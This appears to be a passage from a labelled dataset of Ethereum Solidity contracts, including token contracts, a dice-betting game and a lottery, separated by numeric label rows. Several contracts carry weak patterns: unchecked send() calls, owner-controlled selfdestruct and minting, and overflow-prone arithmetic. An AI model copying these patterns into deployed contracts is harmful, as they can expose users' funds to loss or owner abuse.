_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 100000000;
uint256 public buyPrice = 1;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'KC', 'KC') payable public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
owner.send(msg.value);
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
} | 0 | 1,061 |
pragma solidity ^0.4.24;
contract FairWin {
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
event Commit(uint commit);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
croupier = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
} | 0 | 843 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "1irstgold";
string public constant TOKEN_SYMBOL = "GOLD";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x89cc23D79ef2B11E46b9ce72CcCF6839fa6a43C8;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x89cc23d79ef2b11e46b9ce72cccf6839fa6a43c8)];
uint[1] memory amounts = [uint(10000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,088 |
pragma solidity ^0.4.24;
interface LotteryInterface {
function claimReward(address playerAddress, uint256 tokenAmount) external returns (bool);
function calculateLotteryContributionPercentage() external constant returns (uint256);
function getNumLottery() external constant returns (uint256);
function isActive() external constant returns (bool);
function getCurrentTicketMultiplierHonor() external constant returns (uint256);
function getCurrentLotteryTargetBalance() external constant returns (uint256, uint256);
}
interface SettingInterface {
function uintSettings(bytes32 name) external constant returns (uint256);
function boolSettings(bytes32 name) external constant returns (bool);
function isActive() external constant returns (bool);
function canBet(uint256 rewardValue, uint256 betValue, uint256 playerNumber, uint256 houseEdge) external constant returns (bool);
function isExchangeAllowed(address playerAddress, uint256 tokenAmount) external constant returns (bool);
function spinwinSetUintSetting(bytes32 name, uint256 value) external;
function spinwinIncrementUintSetting(bytes32 name) external;
function spinwinSetBoolSetting(bytes32 name, bool value) external;
function spinwinAddFunds(uint256 amount) external;
function spinwinUpdateTokenToWeiExchangeRate() external;
function spinwinRollDice(uint256 betValue) external;
function spinwinUpdateWinMetric(uint256 playerProfit) external;
function spinwinUpdateLoseMetric(uint256 betValue, uint256 tokenRewardValue) external;
function spinwinUpdateLotteryContributionMetric(uint256 lotteryContribution) external;
function spinwinUpdateExchangeMetric(uint256 exchangeAmount) external;
function spinlotterySetUintSetting(bytes32 name, uint256 value) external;
function spinlotteryIncrementUintSetting(bytes32 name) external;
function spinlotterySetBoolSetting(bytes32 name, bool value) external;
function spinlotteryUpdateTokenToWeiExchangeRate() external;
function spinlotterySetMinBankroll(uint256 _minBankroll) external returns (bool);
}
interface TokenInterface {
function getTotalSupply() external constant returns (uint256);
function getBalanceOf(address account) external constant returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) external returns (bool success);
function burn(uint256 _value) external returns (bool success);
function burnFrom(address _from, uint256 _value) external returns (bool success);
function mintTransfer(address _to, uint _value) external returns (bool);
function burnAt(address _at, uint _value) external returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract developed {
address public developer;
constructor() public {
developer = msg.sender;
}
modifier onlyDeveloper {
require(msg.sender == developer);
_;
}
function changeDeveloper(address _developer) public onlyDeveloper {
developer = _developer;
}
function withdrawToken(address tokenContractAddress) public onlyDeveloper {
TokenERC20 _token = TokenERC20(tokenContractAddress);
if (_token.balanceOf(this) > 0) {
_token.transfer(developer, _token.balanceOf(this));
}
}
}
contract escaped {
address public escapeActivator;
constructor() public {
escapeActivator = 0xB15C54b4B9819925Cd2A7eE3079544402Ac33cEe;
}
modifier onlyEscapeActivator {
require(msg.sender == escapeActivator);
_;
}
function changeAddress(address _escapeActivator) public onlyEscapeActivator {
escapeActivator = _escapeActivator;
}
}
contract SpinLottery is developed, escaped, LotteryInterface {
using SafeMath for uint256;
address public owner;
address public spinwinAddress;
bool public contractKilled;
bool public gamePaused;
uint256 public numLottery;
uint256 public lotteryTarget;
uint256 public totalBankroll;
uint256 public totalBuyTickets;
uint256 public totalTokenWagered;
uint256 public lotteryTargetIncreasePercentage;
uint256 public lastBlockNumber;
uint256 public lastLotteryTotalBlocks;
uint256 public currentTicketMultiplier;
uint256 public currentTicketMultiplierHonor;
uint256 public currentTicketMultiplierBlockNumber;
uint256 public maxBlockSecurityCount;
uint256 public blockSecurityCount;
uint256 public currentTicketMultiplierBlockSecurityCount;
uint256 public ticketMultiplierModifier;
uint256 public avgLotteryHours;
uint256 public totalLotteryHours;
uint256 public minBankrollDecreaseRate;
uint256 public minBankrollIncreaseRate;
